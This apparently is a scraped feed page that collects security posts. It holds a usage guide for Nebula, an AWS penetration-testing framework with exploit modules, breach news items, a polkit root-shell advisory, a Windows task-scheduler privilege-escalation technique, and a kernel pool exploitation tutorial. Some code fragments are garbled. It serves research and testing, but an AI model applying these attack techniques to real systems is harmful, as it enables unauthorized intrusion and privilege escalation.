RSS Security

❌ About FreshRSS
There are new articles available, click to refresh the page.
Yesterday — 12 June 2021Main stream

Nebula - Cloud C2 Framework, Which At The Moment Offers Reconnaissance, Enumeration, Exploitation, Post Exploitation On AWS

12 June 2021 at 21:30
By: Zion3R

Nebula is a Cloud and (hopefully) DevOps Penetration Testing framework. It is build with modules for each provider and each functionality. As of April 2021, it only covers AWS, but is currently an ongoing project and hopefully will continue to grow to test GCP, Azure, Kubernetes, Docker, or automation engines like Ansible, Terraform, Chef, etc.

Currently covers:

  • S3 Bucket name bruteforce
  • IAM, EC2, S3 and Lambda Enumeration
  • IAM, EC2, and S3 exploitation
  • Custom HTTP User-Agent

There are currently 50 modules covering:

  • Reconnaissance
  • Enumeration
  • Exploit
  • Cleanup



From Dockerhub

Clone the Nebula Repo from Github and pull Nebula Docker image:

git clone
docker pull gl4ssesbo1/nebula:latest

and then run through:

docker run -v Nebula:/app -ti gl4ssesbo1/nebula:latest

Remember to not forget -v option, because it allows files to be saved on the system even after removing the docker image.

Using DockerFile

Clone the Nebula Repo from Github and build Docker image locally:

git clone
docker build -t nebula .

then run through:

docker run -v Nebula:/app -ti nebula

Remember to not forget -v option, because it allows files to be saved on the system even after removing the docker image.

Installed on System

Nebula is coded in python3.8 and tested on python3.8 and 3.9. It uses boto3 library to access AWS. To install, just install python 3.8+ and install libraries required from requirements.txt

python3.8 -m pip install -r requirements.txt 

Then install session-manager-plugin. This is needed for SSM modules:

curl "" -o "session-manager-plugin.deb"
dpkg -i session-manager-plugin.deb

On windows devices, since less is not installed, I got one from The prebuilt binary is saved on directory less_binary. Just add that directory to the PATH environment variable and it will be ok.

Then just run

python3.8 ./

lateral movement 0 detection bypass 0 privesc 1 reconnaissance 0 stager ------------------------------------------------------------- ()()(AWS) >>> ">
python3.9.exe .\ -b
50 aws 0 gcp 0 azure 0 office365
0 docker 0 kubernetes
50 modules 2 cleanup 0 detection
41 enum 6 exploit 0 persistence
0 listeners 0 lateral movement 0 detection bypass
0 privesc 1 reconnaissance 0 stager
()()(AWS) >>>


Running help command, will give you a list of the commands that can be used:

Privilege Escalation modules show reconnaissance List all Reconnaissance modules show listener List all Reconnaissance modules show cleanup List all Enumeration modules show detection List all Exploit modules show detectionbypass List all Persistence modules show lateralmovement List all Privilege Escalation modules show stager List all Reconnaissance modules use module <module> Use a module. options Show options of a module you have selected. run Run a module you have selected. Eg: 'run <module name>' search Search for a module via pattern. Eg: 'search s3' back Unselect a module set <option> Set option of a module. Need to have the module used first. unset <option> Unset option of a module. Need to have the module used first. User-Agent commands Description ------------------- ----------- set user-agent windows Set a windows client user agent set user-agent linux Set a linux client user agent set user-agent custom Set a custom client user agent show user-agent Show the current user-agent unset user-agent Use the user agent that boto3 produces Workspace Commands Description ------------------ ----------- create workspace <wp> Create a workspace use workspace <wp> Use one of the workspaces remove workspace <wp> Remove a workspace ">
()()(AWS) >>> help

Help Command: Description:
------------- ------------

help Show help for all the commands
help credentials Show help for credentials
help module Show help for modules
help workspace Show help for credentials
help user-agent Show help for credentials

Module Commands Description
--------------- -----------

show modules List all the modules
show enum List all Enumeration modules
show exploit List all Exploit modules
show persistence List all Persistence modules
show privesc List all Privilege Escalation modules
show reconnaissance List all Reconnaissance modules
show listener List all Reconnaissance modules
show cleanup List all Enumeration modules
show detection List all Exploit modules
show detectionbypass List all Persistence modules
show lateralmovement List all Privilege Escalation modules
show stager List all Reconnaissance modules

use module <module> Use a module.
options Show options of a module you have selected.
run Run a module you have selected. Eg: 'run <module name>'
search Search for a module via pattern. Eg: 'search s3'
back Unselect a module
set <option> Set option of a module. Need to have the module used first.
unset <option> Unset option of a module. Need to have the module used first.

User-Agent commands Description
------------------- -----------

set user-agent windows Set a windows client user agent
set user-agent linux Set a linux client user agent
set user-agent custom Set a custom client user agent
show user-agent Show the current user-agent
unset user-agent Use the user agent that boto3 produces

Workspace Commands Description
------------------ -----------

create workspace <wp> Create a workspace
use workspace <wp> Use one of the workspaces
remove workspace <wp> Remove a workspace


Listing modules

You can list all the modules or specific module:

()()(AWS) >>> show modules
cleanup/aws_iam_delete_access_key Delete access key of a user by providing

cleanup/aws_iam_delete_login_profile Delete access of a user to the Management

enum/aws_ec2_enum_elastic_ips Lists User data of an Instance provided.
Requires Secret Key and Access Key of an IAM that has access
to it.

enum/aws_ec2_enum_images List all ec2 images. Needs credentials of an
IAM with DescribeImages right. Output is dumpled on a file.
It takes a sh*tload of time, unfortunately. And boy, is it a
huge output.

enum/aws_ec2_enum_instances Describes instances attribues: Instances, VCP,
Zones, Images, Security Groups, Snapshots, Subnets, Tags,
Volumes. Requires Secret Key and Access Key of an IAM that
has access to all or any of the API calls:
De scribeAvailabilityZones, DescribeImages,
DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups,
DescribeSnapshots, DescribeSubnets, DescribeTags,
DescribeVolumes, DescribeVpcs

And like that you can use:

  • show module
  • show enum
  • show exploit
  • show persistence
  • show privesc
  • show reconnaissance
  • show listener
  • show cleanup
  • show detection
  • show detectionbypass
  • show lateralmovement
  • show stager

Searching for modules

Use search command to search modules with a specific word:

()()(AWS) >>> search instance
enum/aws_ec2_enum_instances Describes instances attribues: Instances, VCP,
Zones, Images, Security Groups, Snapshots, Subnets, Tags,
Volumes. Requires Secret Key and Access Key of an IAM that
has access to all or any of the API calls:
DescribeAvailabilityZones, DescribeImages,
DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups,
DescribeSnapshots, DescribeSubnets, DescribeTags,
DescribeVolumes, DescribeVpcs

enum/aws_iam_list_instance_profiles List all the instance profiles.

exploit/aws_ec2_create_instance_with_user_data You must provide policies in JSON format in
IAM. However, for AWS CloudFormation templates formatted in
YAML, you can provide the policy in JSON or YAML format. AWS
CloudFormation always converts a YAML policy to JSON format
before submitting it to IAM.

()()(AWS) >>>

Using Modules

To use a module, just type use and the name of the module. The 3 brackets will have the name of the module.

(work1)()(enum/aws_ec2_enum_instances) >>> use module enum/aws_iam_get_group
(work1)()(enum/aws_ec2_enum_instances) >>>


Using options, we can list the information on the module:

(work1)()(enum/aws_ec2_enum_instances) >>> options
Describes instances attribues: Instances, VCP, Zones, Images, Security Groups, Snapshots, Subnets, Tags, Volumes. Requires Secret Key and Access Key of an IAM that has access to all or any of the API calls: DescribeAvailabilityZones, DescribeImages, DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups, DescribeSnapshots, DescribeSubnets, DescribeTags, DescribeVolumes, DescribeVpcs

name: gl4ssesbo1

AWSCLI Command:
aws ec2 describe-instances --region {} --profile {}

Needs Credentials: True

------------------- ----------
Required: true
Description: The service that will be used to run the module. It cannot be changed.

Required: false
Description: The ID of the instance you want to enumerate. If not supplied, all instances will be enumerated.

(work1)()(enum/aws_ec2_enum_instances) >>>

To set options, use set and the name of the option:

(work1)()(enum/aws_ec2_enum_instances) >>> set INSTANCE-ID 1234
(work1)()(enum/aws_ec2_enum_instances) >>> options
Describes instances attribues: Instances, VCP, Zones, Images, Security Groups, Snapshots, Subnets, Tags, Volumes. Requires Secret Key and Access Key of an IAM that has access to all or any of the API calls: DescribeAvailabilityZones, DescribeImages, DescribeInstances, DescribeKeyPairs, DescribeSecurityGroups, DescribeSnapshots, DescribeSubnets, DescribeTags, DescribeVolumes, DescribeVpcs

name: gl4ssesbo1

Needs Credentials: True

AWSCLI Command:
aws ec2 describe -instances --region {} --profile {}

Required: true
Description: The service that will be used to run the module. It cannot be changed.

Required: false
Description: The ID of the instance you want to enumerate. If not supplied, all instances will be enumerated.

(work1)()(enum/aws_ec2_enum_instances) >>>

Also unsetting them, using unset.

(work1)()(enum/aws_ec2_enum_instances) >>> unset INSTANCE-ID
(work1)()(enum/aws_ec2_enum_instances) >>>

Running the module

To run the module, if it requires credentials, you will need to have imported a set of credentials with the permission required to run it. This is shown on a module's options as:

Needs Credentials: True

To run it, just enter run. Depending on the output, it will either show a pagainated view, or just print it. The pagination, uses less binary, which for Windows uses the binary from A copy of the exe is on less_binary directory. The output is also saved on files on the workspace directory:

(work1)()(enum/aws_ec2_enum_instances) >>> run
[*] Content dumped on file './workspaces/work1/16_04_2021_18_16_48_ec2_enum_instances'.


####Inputing Credentials Nebula can use both AccessKeyID + SecretKey combination and AccessKeyID + SecretKey+SessionKey combination to authenticate into the infratructure. To insert a set of credentials, use:

Credentials set. Use 'show credentials' to check them. [*] Currect credential profile set to 'test1'.Use 'show current-creds' to check them. ">
()()(AWS) >>> set credentials test1
Profile Name: test1
Access Key ID: A*********2
Secret Key ID: a****************************7
Region: us-west-3

Do you also have a session token?[y/N]
[*] Credentials set. Use 'show credentials' to check them.
[*] Currect credential profile set to 'test1'.Use 'show current-creds' to check them.

And you will get some inputs allowing you to set them. Session token can be added when entering credentials, by inputing y when asked Do you also have a session token?[y/N].

####Using Credentials To use another credential, just enter:

()()(AWS) >>> use credentials test1
[*] Currect credential profile set to 'test1'.Use 'show current-creds' to check them.

####Current Credentials When you enter the credentials, they are automatically made the current credentials, meaning the ones you will authenticate with. To check the current credentials, use:

()()(AWS) >>> show current-creds
"profile": "test1",
"access_key_id": "A*********2",
"secret_key": "a****************************7",
"region": "us-west-3"

####Removing Credentials In case you don't want your credentials, you can can remove them using:

()()(AWS) >>> remove credentials test1
You are about to remove credential 'test1'. Are you sure? [y/N] y

####Dumping and importing credentials In case you want your credentials saved on the machine, you can use:

()()(AWS) >>> dump credentials
[*] Credentials dumped on file './credentials/16_04_2021_17_37_59'.

And they will be saved on a file containing the time and date of the dump on directory credentials on Nebula directory. To import them, just enter:

()()(AWS) >>> import credentials 16_04_2021_17_37_59
()()(AWS) >>> show credentials
"profile": "test1",
"access_key_id": "A*********2",
"secret_key": "a****************************7",
"region": "us-west-3"


Nebula uses workspaces to save the output from every command. The output is saved as json data (except for s3_name_fuzzer which saves it as XML) on a folder created on directory workspaces.

Create Workspaces

To create one, enter:

()()(AWS) >>> create workspace work1
[*] Workspace 'work1' created.
[*] Current workspace set at 'work1'.
(work1)()(AWS) >>> ls ./workspaces

Directory: C:\Users\***\Desktop\Nebula\workspaces

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/16/2021 5:42 PM work1
-a---- 4/16/2021 4:40 PM 0

When created, the first brackets will contain the name of the workspace you are working at. If you want to use an existing workspace, just type:

()()(AWS) >>> use workspace work1
(work1)()(AWS) >>>

Workspaces are required to be used, so even if you are not using any at the moment, while running a module, it will ask you to create one with random name or to just create one with a custom name yourself.

()()(enum/aws_ec2_enum_instances) >>> run
A workspace is not configured. Workstation 'qxryiuct' will be created. Are you sure? [y/N] n
[*] Create a workstation first using 'create workstation <workstation name>'.
()()(enum/aws_ec2_enum_instances) >>>

List workspaces

To get a list of workspaces, use:

(work1)()(enum/aws_ec2_enum_instances) >>> show workspaces

(work1)()(enum/aws_ec2_enum_instances) >>>

Remove Workspaces

To remove a workspace, enter:

()()(AWS) >>> remove workspace work1
[*] Are you sure you want to delete the workspace? [y/N] y
()()(AWS) >>> show workspaces

()()(AWS) >>>

User Agents

User agents can be set as linux ones, windows ones or custom. To show them, just use show.

()()(AWS) >>> set user-agent linux
User Agent: Boto3/1.9.89 Python/3.8.1 Linux/4.1.2-34-generic was set
()()(AWS) >>> show user-agent
[*] User Agent is: Boto3/1.9.89 Python/3.8.1 Linux/4.1.2-34-generic
()()(AWS) >>> set user-agent windows
User Agent: Boto3/1.7.48 Python/3.9.1 Windows/7 Botocore/1.10.48 was set
()()(AWS) >>> show user-agent
[*] User Agent is: Boto3/1.7.48 Python/3.9.1 Windows/7 Botocore/1.10.48
()()(AWS) >>> set user-agent custom
Enter the User-Agent you want: sth
User Agent: sth was set
()()(AWS) >>> show user-agent
[*] User Agent is: sth
()()(AWS) >>>

To unset a user agent, enter:

()()(AWS) >>> unset user-agent
[*] User Agent set to empty.

Which will have the system's user agent.

McDonald’s discloses data breach in US, Taiwan and South Korea

12 June 2021 at 16:37

McDonald’s fast-food chain disclosed a data breach, hackers have stolen information belonging to customers and employees from the US, South Korea, and Taiwan.

McDonald’s, the world’s largest restaurant chain by revenue, has disclosed a data breach that impacted customers and employees from the US, South Korea, and Taiwan.

The hackers compromised the system of the company and have stolen business contact info belonging to US employees and franchises, the company pointed out that no sensitive and financial data were accessed.

The attackers also stole personal information from customers in South Korea and Taiwan, including names, emails, phone numbers, and addresses. The company states that only a small number of customers was impacted and their financial data was not exposed.

“In a message to U.S. employees, McDonald’s said the breach disclosed some business contact information for U.S. employees and franchisees, along with some information about restaurants such as seating capacity and the square footage of play areas.” reported the WSJ. “The company said no customer data was breached in the U.S., and that the employee data exposed wasn’t sensitive or personal. The company advised employees and franchisees to watch for phishing emails and to use discretion when asked for information.”

McDonald’s said that it was able to quickly identify the security breach and mitigate the threat.

“McDonald’s understands the importance of effective security measures to protect information, which is why we’ve made substantial investments to implement multiple security tools as part of our in-depth cybersecurity defense,” the WSJ added. “These tools allowed us to quickly identify and contain recent unauthorized activity on our network.”

“While we were able to close off access quickly after identification, our investigation has determined that a small number of files were accessed, some of which contained personal data,” reads a statement published by the company.

The company added that only customers in Korea and Taiwan had their data exposed.

McDonald’s is currently notifying affected customers and authorities in all impacted markets.

In April 2017, another cyber attack hit McDonald’s Canada career website and hackers stole records of 95,000 job seekers.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, data breach)

The post McDonald’s discloses data breach in US, Taiwan and South Korea appeared first on Security Affairs.

Volkswagen discloses data breach, 3.3 million customers impacted

12 June 2021 at 13:39

Volkswagen America discloses a data breach at a third-party vendor that exposed the personal details of more than 3.3 million of its customers.

Volkswagen America discloses a data breach suffered by a third-party vendor used by the car vendor for sales and marketing purposes. The security breach affected a subsidiary Audi and authorized dealers in the U.S. and Canada and exposed the personal details of more than 3.3 million Volkswagen customers, most of which were owners of Audi cars.

According to a letter sent by the company to the Maine Attorney General and reported by TechCrunch, the subsidiary company left customer data spanning 2014 to 2019 unsecured online between August 2019 and May 2021.

Volkswagen learned of the data breach on March 10 and immediately launched an investigation in the case with the help of external consultants and notified law enforcement.

“The investigation confirmed in early May 2021 that a third party obtained limited personal information received from or about United States and Canadian customers and interested buyers from a vendor used by Audi, Volkswagen, and some authorized dealers.” reported TechCrunch. “This included information gathered for sales and marketing purposes from 2014 to 2019. VWGoA believes the data was obtained when the vendor left electronic data unsecured at some point between August 2019 and May 2021, when VWGoA identified the source of the incident.”

Exposed data for over 97% of the individuals includes personal information about customers and prospective buyers, including name, personal or business mailing addresses, email addresses, and phone numbers.

For some individuals, the data also include information about a vehicle purchased, leased, or inquired about, such as the Vehicle Identification Number (VIN), make, model, year, color, and trim packages.

“For approximately 90,000 Audi customers or interested buyers, the data also includes more sensitive information relating to eligibility for a purchase, loan, or lease. Nearly all of the more sensitive data (over 95%) consists of driver’s license numbers. A very small number of records include data such as dates of birth, Social Security or social insurance numbers, account or loan numbers, and tax identification numbers.” continues the letter.

But more than 90,000 customers across the U.S. and Canada had more sensitive data exposed and for them, VWGoA is going to offer free credit protection services to these approximately 90,000 individuals through IDX.ù

At the time of this writing, it is not clear if the data exposed was misused, anyway their leak pose a risk of fraud and other malicious activities for the car owners.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, data leak)

The post Volkswagen discloses data breach, 3.3 million customers impacted appeared first on Security Affairs.

iOS Malicious Bit Hunter - A Malicious Plug-In Detection Eng ine For iOS Applications

12 June 2021 at 12:30
By: Zion3R

iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to determine the behavior of the dynamic library feature. The program does not rely on the jailbreak environment and can be used on the AppStore.

What’s new feature

This is a new way to accurately identify the behavior of iOS malicious code. Based on the method of analyzing malicious code running in the memory based on the Mach-O format in the App, it can perform flexible behavior recognition for analysis and continuous tracking. This is a very accurate anti-plug-in defense method, including behaviors, variables, and highly obfuscated code (including ollvm), which has achieved very good results in our defense process.

How to use
  1. Use XCode open .xcodeproj file or create new static library project .
  2. Build Phases -> Compile Sources , add all *.c / *.mm file .
  3. command + B build .

The ios-malicious-bithunter had only one api: secinfo * Security_CoreFoundation(void);

Invoke example :

info = (secinfo *)malloc(sizeof(secinfo));

info->scan_result = (unsigned char * ) malloc(1024*1024);


if(info == NULL)


goto RETURN;


info->is_plugScan = security_scanEngine((unsigned char *)info->scan_result);

Logic Priciple

The tool provides an API interface for obtaining externally match rules. It will analyze the behavior of jailbroken and repackaged dynamic libraries at runtime, mainly through static analysis of the MachO file format, through the Load Command and different segments Obtain the import table, export table, class name, function name, string and other information, and judge whether the dynamic library has been loaded into the memory through the memory map at runtime.

Detect demo result

We used our SDK to analyze tens of thousands of jailbreak dynamic libraries. These resources come from some public jailbreak plugins. Below are our current test results:












































































CVE-2021-3560 flaw in polkit auth system service affects most of Linux distros

12 June 2021 at 12:02

An authentication bypass flaw in the polkit auth system service used on most Linux distros can allow to get a root shell.

An authentication bypass vulnerability in the polkit auth system service, tracked as CVE-2021-3560, which is used on most Linux distros can allow an unprivileged attacker to get a root shell.

“A flaw was found in polkit. When a requesting process disconnects from dbus-daemon just before the call to polkit_system_bus_name_get_creds_sync starts, the process cannot get a unique uid and pid of the process and it cannot verify the privileges of the requesting process.” reads the description published by the security advisory. “The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.”

polkit is an application-level toolkit for defining and handling the policy that allows unprivileged processes to speak to privileged processes, it is installed by default on several Linux distributions.

The vulnerability was introduced in version 0.113 seven years ago (commit bfa5036) and was fixed on June 3 after its recent disclosure by security researcher Kevin Backhouse.

Every Linux system using a vulnerable polkit version is potentially exposed to cyber attacks exploiting the CVE-2021-3560 flaw.

Backhouse published a video PoC of an attack exploiting this vulnerability demonstrating that it is easy to trigger.

“The vulnerability enables an unprivileged local user to get a root shell on the system. It’s easy to exploit with a few standard command line tools, as you can see in this short video.” wrote the expert in a blog post.

The researcher published the following table containing the list of currently vulnerable distros:

Distribution Vulnerable?
RHEL 8 Yes
Fedora 20 (or earlier) No
Fedora 21 (or later) Yes
Debian 10 (“buster”) No
Debian testing (“bullseye”) Yes
Ubuntu 18.04 No
Ubuntu 20.04 Yes

“CVE-2021-3560 enables an unprivileged local attacker to gain root privileges. It’s very simple and quick to exploit, so it’s important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable.” conlcudes the researcher.

Follow me on Twitter: @securityaffairs and Facebook

Pierluigi Paganini

(SecurityAffairs – hacking, polkit)

The post CVE-2021-3560 flaw in polkit auth system service affects most of Linux distros appeared first on Security Affairs.

A Little More on the Task Scheduler's Service Account Usage

12 June 2021 at 05:42
By: Unknown

Recently I was playing around with a service which was running under a full virtual service account rather than LOCAL SERVICE or NETWORK SERVICE, but it had SeImpersonatePrivilege removed. Looking for a solution I recalled that Andrea Pierini had posted a blog about using virtual service accounts, so I thought I'd look there for inspiration. One thing which was interesting is that he mentioned that a technique abusing the task scheduler found by Clément Labro, which worked for LS or NS, didn't work when using virtual service accounts. I thought I should investigate it further, out of curiosity, and in the process I found an sneaky technique you can use for other purposes.

I've already blogged about the task scheduler's use of service accounts. Specifically in a previous blog post I discussed how you could get the TrustedInstaller group by running a scheduled task using the service SID. As the service SID is the same name as used when you are using a virtual service account it's clear that the problem lies in the way in this functionality is implemented and that it's likely distinct from how LS or NS token's are created.

The core process creation code for the task scheduler in Windows 10 is actually in the Unified Background Process Manager (UBPM) DLL, rather than in the task scheduler itself. A quick look at that DLL we find the following code:

HANDLE UbpmpTokenGetNonInteractiveToken(PSID PrincipalSid) {

  // ...

  if (UbpmUtilsIsServiceSid(PrinicpalSid)) {

    return UbpmpTokenGetServiceAccountToken(PrinicpalSid);


  if (EqualSid(PrinicpalSid, kNetworkService)) {

    Domain = L"NT AUTHORITY";

    User = L"NetworkService";

  } else if (EqualSid(PrinicpalSid, kLocalService)) {

    Domain = L"NT AUTHORITY";

    User = L"LocalService";


  HANDLE Token;

  if (LogonUserExExW(User, Domain, Password, 



    return Token;


  // ...


This UbpmpTokenGetNonInteractiveToken function is taking the principal SID from the task registration or passed to RunEx and determining what it represents to get back the token. It checks if the SID is a service SID, by which is means the NT SERVICE\NAME SID we used in the previous blog post. If it is it calls a separate function, UbpmpTokenGetServiceAccountToken to get the service token.

Otherwise if the SID is NS or LS then it specifies the well know names for those SIDs and called LogonUserExEx with the LOGON32_LOGON_SERVICE type. The UbpmpTokenGetServiceAccountToken function does the following:

TOKEN UbpmpTokenGetServiceAccountToken(PSID PrincipalSid) {

  LPCWSTR Name = UbpmUtilsGetAccountNamesFromSid(PrincipalSid);


  SC_HANDLE service = OpenService(scm, Name, SERVICE_ALL_ACCESS);

  HANDLE Token;

  GetServiceProcessToken(g_ScheduleServiceHandle, service, &Token);

  return Token;


This function gets the name from the service SID, which is the name of the service itself and opens it for all access rights (SERVICE_ALL_ACCESS). If that succeeds then it passes the service handle to an undocumented SCM API, GetServiceProcessToken, which returns the token for the service. Looking at the implementation in SCM this basically uses the exact same code as it would use for creating the token for starting the service. 

This is why there's a distinction between LS/NS and a virtual service account using Clément's technique. If you use LS/NS the task scheduler gets a fresh token from the LSA with no regards to how the service is configured. Therefore the new token has SeImpersonatePrivilege (or what ever else is allowed). However for a virtual service account the service asks the SCM for the service's token, as the SCM knows about what restrictions are in place it honours things like privileges or the SID type. Therefore the returned token will be stripped of SeImpersonatePrivilege again even though it'll technically be a different token to the currently running service.

Why does the task scheduler need some undocumented function to get the service token? As I mentioned in a previous blog post about virtual accounts only the SCM (well technically the first process to claim it's the SCM) is allowed to authenticate a token with a virtual service account. This seems kind of pointless if you ask me as you already need SeTcbPrivilege to create the service token, but it is what it is.

Okay, so now we know why Clément's technique doesn't get you back any privileges. You might now be asking, so what? Well one interesting behavior came from looking at how the task scheduler determines if you're allowed to specify a service SID as a principal. In my blog post of creating a task running as TrustedInstaller I implied it needed administrator access, which is sort of true and sort of not. Let's see the function the task scheduler uses to determine if the caller's allowed to run a task as a specified principal.

BOOL IsPrincipalAllowed(User& principal) {


  User caller;



  if (tsched::IsUserAdmin(caller) || 

      caller.IsLocalSystem(caller)) {

    return TRUE;



  if (principal == caller) {

    return TRUE;


  if (principal.IsServiceSid()) {

    LPCWSTR Name = principal.GetAccount();



    SC_HANDLE service = OpenService(scm, Name, SERVICE_ALL_ACCESS);


    if (service) {

      return TRUE;



  return FALSE;


The IsPrincipalAllowed function first checks if the caller is an administrator or SYSTEM. If it is then any principal is allowed (again not completely true, but good enough). Next it checks if the principal's user SID matches the one we're setting. This is what would allow NS/LS or a virtual service account to specify a task running as their own user account. 

Finally, if the principal is a service SID, then it tries to open the service for full access while impersonating the caller. If that succeeds it allows the service SID to be used as a principal. This behaviour is interesting as it allows for a sneaky way to abuse badly configured services. 

It's a well known check for privilege escalation that you enumerate all local services and see if any of them grant a normal user privileged access rights, mainly SERVICE_CHANGE_CONFIG. This is enough to hijack the service and get arbitrary code running as the service account. A common trick is to change the executable path and restart the service, but this isn't great for a few different reasons.

  1. Changing the executable path could easily be noticed.
  2. You probably want to fix the path back again afterwards, which is just a pain.
  3. If the service is currently running you'll need stop the service, then restart the modified service to get the code execution.
However, as long as your account is granted full access to the service you can use the task scheduler even without being an administrator to get code running as the service's user account, such as SYSTEM, without ever needing to modify the service's configuration directly or stop/start the service. Much more sneaky. Of course this does mean that the token the task runs under might have privileges stripped etc, but that's something which is easy enough to deal with (as long as it's not write restricted).

This is a good lesson on how to never take things on face value. I just assumed the caller would need administrator privileges to set the service account as the principal for a task. But it seems that's not actually required if you dig into the code. Hopefully someone will find it useful.

Footnote: If you read this far, you might also ask, can you get back SeImpersonatePrivilege from a virtual service account or not? Of course, you just use the named pipe trick I described in a previous blog post. Because of the way that the token is created the token stored in the logon session will still have all the assigned privileges. You can extract the token by using the named pipe to your own service, and use that to create a new process and get back all the missing privileges.

Exploit Development: Swimming In The (Kernel) Pool - Leveraging Pool Vulnerabilities From Low-Integrity Exploits, Part 1

7 June 2021 at 00:00


I am writing this blog as I am finishing up an amazing training from HackSys Team. This training finally demystified the pool on Windows for myself - something that I have always shied away from. During the training I picked up a lot of pointers (pun fully intended) on everything from an introduction to the kernel low fragmentation heap (kLFH) to pool grooming. As I use blogging as a mechanism for myself to not only share what I know, but to reinforce concepts by writing about them, I wanted to leverage the HackSys Extreme Vulnerable Driver and the win10-klfh branch (HEVD) to chain together two vulnerabilities in the driver from a low-integrity process - an out-of-bounds read and a pool overflow to achieve an arbitrary read/write primitive. This blog, part 1 of this series, will outline the out-of-bounds read and kASLR bypass from low integrity.

Low integrity processes and AppContainer protected processes, such as a browser sandbox, prevent Windows API calls such as EnumDeviceDrivers and NtQuerySystemInformation, which are commonly leveraged to retrieve the base address for ntoskrnl.exe and/or other drivers for kernel exploitation. This stipulation requires a generic kASLR bypass, as was common in the RS2 build of Windows via GDI objects, or some type of vulnerability. With generic kASLR bypasses now not only being very scarce and far-and-few between, information leaks, such as an out-of-bounds read, are the de-facto standard for bypassing kASLR from something like a browser sandbox.

This blog will touch on the basic internals of the pool on Windows, which is already heavily documented much better than any attempt I can make, the implications of the kFLH, from an exploit development perspective, and leveraging out-of-bounds read vulnerabilities.

Windows Pool Internals - tl;dr Version

This section will cover a bit about some pre-segment heap internals as well as how the segment heap works after 19H1. First, Windows exposes the API ExAllocatePoolWithTag, the main API used for pool allocations, which kernel mode drivers can allocate dynamic memory from, such as malloc from user mode. However, drivers targeting Windows 10 2004 or later, according to Microsoft, must use ExAllocatePool2 instead ofExAllocatePoolWithTag, which has apparently been deprecated. For the purposes of this blog we will just refer to the “main allocation function” as ExAllocatePoolWithTag. One word about the “new” APIs is that they will initialize allocate pool chunks to zero.

Continuing on, ExAllocatePoolWithTag’s prototype can be seen below.

The first parameter of this function is POOL_TYPE, which is of type enumeration, that specifies the type of memory to allocate. These values can be seen below.

Although there are many different types of allocations, notice how all of them, for the most part, are prefaced with NonPagedPool or PagedPool. This is because, on Windows, pool allocations come from these two pools (or they come from the session pool, which is beyond the scope of this post and is leveraged by win32k.sys). In user mode, developers have the default process heap to allocate chunks from or they can create their own private heaps as well. The Windows pool works a little different, as the system predefines two pools (for our purposes) of memory for servicing requests in the kernel. Recall also that allocations in the paged pool can be paged out of memory. Allocations in the non-paged pool will always be paged in memory. This basically means memory in the NonPagedPool/NonPagedPoolNx is always accessible. This caveat also means that the non-paged pool is a more “expensive” resource and should be used accordingly.

As far as pool chunks go, the terminology is pretty much on point with a heap chunk, which I talked about in a previous blog on browser exploitation. Each pool chunk is prepended with a 0x10 byte _POOL_HEADER structure on 64-bit system, which can be found using WinDbg.

This structure contains metadata about the in-scope chunk. One interesting thing to note is that when a _POOL_HEADER structure is freed and it isn’t a valid header, a system crash will occur.

The ProcessBilled member of this structure is a pointer to the _EPROCESS object which made the allocation, but only if PoolQuota was set in the PoolType parameter of ExAllocatePoolWithTag. Notice that at an offset of 0x8 in this structure there is a union member, as it is clean two members reside at offset 0x8.

As a test, let’s set a breakpoint on nt!ExAllocatePoolWithTag. Since the Windows kernel will constantly call this function, we don’t need to create a driver that calls this function, as the system will already do this.

After setting a breakpoint, we can execute the function and examine the return value, which is the pool chunk that is allocated.

Notice how the ProcessBilled member isn’t a valid pointer to an _EPROCESS object. This is because this is a vanilla call to nt!ExAllocatePoolWithTag, without any scheduling quota madness going on, meaning the ProcessBilled member isn’t set. Since the AllocatorBackTraceIndex and PoolTagHash are obviously stored in a union, based on the fact that both the ProcessBilled and AllocatorBackTraceIndex members are at the same offset in memory, the two members AllocatorBackTraceIndex and PoolTagHash are actually “carried over” into the ProcessBilled member. This won’t affect anything, since the ProcessBilled member isn’t accounted for due to the fact that PoolQuota wasn’t set in the PoolType parameter, and this is how WinDbg interprets the memory layout. If the PoolQuota was set, the EPROCESS pointer is actually XOR’d with a random “cookie”, meaning that if you wanted to reconstruct this header you would need to first leak the cookie. This information will be useful later on in the pool overflow vulnerability in part 2, which will not leverage PoolQuota.

Let’s now talk about the segment heap. The segment heap, which was already instrumented in user mode, was implemented into the Windows kernel with the 19H1 build of Windows 10. The “gist” of the segment heap is this: when a component in the kernel requests some dynamic memory, via on the the previously mentioned API calls, there are now a few options, namely four of them, that can service the request. The are:

  1. Low Fragmentation Heap (kLFH)
  2. Variable Size (VS)
  3. Segment Alloc
  4. Large Alloc

Each pool is now managed by a _SEGMENT_HEAP structure, as seen below, which provides references to various “segments” in use for the pool and contains metadata for the pool.

The vulnerabilities mentioned in this blog post will be revolving around the kLFH, so for the purposes of this post I highly recommend reading this paper to find out more about the internals of each allocator and to view Yarden Shafir’s upcoming BlackHat talk on pool internals in the age of the segment heap!

For the purposes of this exploit and as a general note, let’s talk about how the _POOL_HEADER structure is used.

We talked about the _POOL_HEADER structure earlier - but let’s dig a big deeper into that concept to see if/when it is even used when the segment heap is enabled.

Any size allocation that cannot fit into a Variable Size segment allocation will pretty much end up in the kLFH. What is interesting here is that the _POOL_HEADER structure is no longer used for chunks within the VS segment. Chunks allocated using the VS segment are actually preceded prefaces with a header structure called _HEAP_VS_CHUNK_HEADER, which was pointed out to me by my co-worker Yarden Shafir. This structure can be seen in WinDbg.

The interesting fact about the pool headers with the segment heap is that the kLFH, which will be the target for this post, actually still use _POOL_HEADER structures to preface pool chunks.

Chunks allocated by the kLFH and VS segments are are shown below.

